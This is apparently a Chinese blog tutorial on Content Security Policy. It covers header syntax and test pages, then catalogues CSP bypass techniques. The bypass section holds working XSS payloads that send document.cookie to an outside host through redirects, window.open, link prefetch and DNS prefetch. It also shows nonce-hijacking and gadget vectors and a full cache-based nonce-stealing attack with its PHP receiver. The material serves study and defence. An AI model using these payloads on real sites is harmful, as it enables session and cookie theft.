什么是CSP

CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。通过CSP协定,让WEB处于一个安全的运行环境中,目前 CSP 已经到了 3.0 阶段。

CSP语法

现代浏览器目前都可以通过获取 Header 头来进行 CSP 配置,一个CSP头由多组CSP策略组成,中间由分号分隔,如下:

<?php
  header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");
?>

其中每一组策略包含一个策略指令和一个内容源列表

指令参考

下面是CSP指令参考
![1](./images/1.png)
下面是一些CSP指令的使用案例
![2](./images/2.png)

CSP的一些使用实例

限制只允许加载同源脚本,不允许加载内联脚本

使用如下CSP指令

Content-Security-Policy: default-src 'self'; script-src 'self'

测试代码如下

<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<script>alert('xss')</script>
</body>
</html>
<?php
    header("Content-Security-Policy:default-src 'self'; script-src 'self'");
?>

如果没有添加CSP我们知道会弹框,现在测试一下
没有弹框,在控制台出现如下报错
![3](./images/3.png)
原因是禁止了内联脚本(inline script)的加载

现在我们引用同源的js脚本
<script>alert('xss')</script>替换为<script src="http://127.0.0.1/csp/xss.js"></script>
成功弹窗
![4](./images/4.png)

限制只允许加载同源脚本,允许加载内联脚本

使用如下CSP指令

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

测试代码如上,成功弹框

CSP绕过

绕过default-src 'none'

这种情况可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.ghtwf01.cn" >

绕过default-src 'none' 'unsafe-inline'

添加了unsafe-inline会造成特别大的危害,这种情况下,可以用window.location,或者window.open之类的方法进行跳转绕过获取cookie

<script>
window.location.href='http://www.ghtwf01.cn/?cookie='+document.cookie;
</script>
<script>
window.location='https://www.ghtwf01.cn/?cookie='+document.cookie;
</script>
<script>
window.open('http://www.ghtwf01.cn/?cookie='+document.cookie);
</script>

绕过xx-src *

*号即允许匹配任何URL请求,举一个例子,CSP指令如下

Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src *; script-src http://xxxxx/js/ 'nonce-xxx';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

注意到frame-src后面为*,其对于iframe的来源并没有做任何限制,尝试一下利用
Demo如下

<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<iframe src="https://www.baidu.com"></iframe>
</body>
</html>
<?php
    header("Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src *; script-src http://xxxxx/js/ 'nonce-xxx';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'");
?>

成功访问页面
![6](./images/6.png)
也可以用来加载远程js
![7](./images/7.png)
这就无视掉了script-src http://xxxxx/js/ 'nonce-xxx'的策略

利用link绕过xx-src self

CSP策略中xx-src self的设置能够使大部分的XSSCSRF都会失效,但link标签的预加载功能可以进行绕过。
Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止):

<link rel="prefetch" href="https://www.ghtwf01.cn/1.php?c=[cookie]">

Firefox下,可以将cookie作为子域名,用DNS预解析的方式把cookie带出去,查看DNS服务器的日志就能得到cookie

<link rel="dns-prefetch" href="//[cookie].ghtwf01.cn">

利用浏览器补全绕过

有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

Content-Security-Policy: default-src 'none';script-src 'nonce-xxx'

这种情况下,script标签需要带上正确的nonce属性值才能执行JS代码
如果,出现了脚本插入点在含有nonce属性值的script标签前面的情况时,如:

<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入如下内容来利用浏览器补全功能:

<script src="http://192.168.80.133/xss.js" a="

最终形成如下页面结构:

<p><script src="http://192.168.80.133/a.js" a="</p><script id="aa" nonce="xxx">document.write('CSP');</script>

也就是说,利用浏览器补全的功能,在含有noncescript标签前面的插入点插入script标签的同时,插入a="以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值

上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效,测试发现火狐、edge、QQ浏览器也不行,只有IE可以
![8](./images/8.png)

利用Gadgets和strict-dynamic/unsafe-eval绕过

即重用Gadgets代码来绕过CSP,具体可参考Black Hat 2017ppt,上面总结了可以被用来绕过CSP的一些JS库。

例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",那么下面的向量就可以绕过CSP:

<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAGcookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

在做过的一道CSP题目中,也有应用到这种方法,可以参考学习一下:一道绕过CSP的XSS题目

利用iframe绕过

页面A与页面B同源,页面A有CSP限制而页面B没有

这样可以在A页面中包含B页面来绕过CSP

<iframe src="B"></iframe>

利用Chrome特性禁用过滤XSS向量的库

Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

meta标签

meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce

<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用:

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

利用浏览器缓存绕过script nonce

整个原理过程以Demo为例,如图
![9](./images/9.png)
csp-test.php,开启了nonce script规则,并且有XSS点:

<?php
function random_string( $length = 8 ) { 
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
  $password = ''; 
  for($i = 0; $i < $length; $i++)
  { 
    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
  } 
  return $password; 
} 
$random = random_string(12);
header('Content-Security-Policy: default-src \'none\'; script-src \'nonce-'.$random .'\';');
header('Cache-Control: max-age=99999999');
setcookie('milk','tea');
?>
<script nonce='<?php echo $random;?>'>document.write('URL ' + unescape(location.href))</script>
<script nonce='<?php echo $random;?>'>console.log('another nonced script')</script>
?>

然后我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个<textarea>标签来吃掉后面的script标签,这样就可以获取内容
attack.php:

<iframe id="frame" src="http://127.0.0.1/csp-test.php#<form method='post' action='http://127.0.0.1/nonce_receiver.php'><input type='submit' value='test!'><textarea name='nonce'>">
</iframe>
<script>
  function getNonce() { 
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "nonce_receiver.php", false);
    xhr.send();
    return xhr.responseText;
  }
 
  setTimeout(pollNonce, 1000);
  function pollNonce() {
    var nonce = getNonce();
    if (nonce == "") {
      setTimeout(pollNonce, 1000);
    } else {
      attack(nonce);
    }
  }
  function attack(nonce) {
    var iframe = document.createElement("iframe");
    var url = "http://127.0.0.1/csp-test.php#"
    var payload = "<script nonce='" + nonce + "'>alert(document.cookie)</scr" + "ipt>"
    var validationPayload = "<script>alert('If you see this alert, CSP is not active')</scr" + "ipt>"
    iframe.src = url + payload + validationPayload;
    document.body.appendChild(iframe);
  }
</script>

然后我们需要一个页面去获取nonce字符串,为了反复获得,这里需要开启session
nonce_receiver.php:

<?php
session_start();
if(!empty($_POST)){
    $message = $_POST['nonce'];
    preg_match('/(nonce=\')\w+\'/', $message, $matches);
    $nonce_number = substr($matches[0], 7, -1);
    $_SESSION['nonce'] = $nonce_number;
    echo $nonce_number;
}else if(!empty($_SESSION['nonce'])){
    echo $_SESSION['nonce'];
}
?>

一切就绪了,唯一的问题就是在nonce script上,由于csp开启的问题,我们没办法自动实现自动提交,也就是攻击者必须要使按钮被点击,才能实现一次攻击

可以看到csp-test.php中的cookie被带回来了:
![10](./images/10.png)
(这个我是真的没看懂。。。)

利用wave文件绕过script-src 'self'

参考https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

参考链接

https://www.mi1k7ea.com/2019/02/24/CSP%E7%AD%96%E7%95%A5%E5%8F%8A%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%E5%B0%8F%E7%BB%93/
https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw
https://www.jianshu.com/p/f1de775bc43e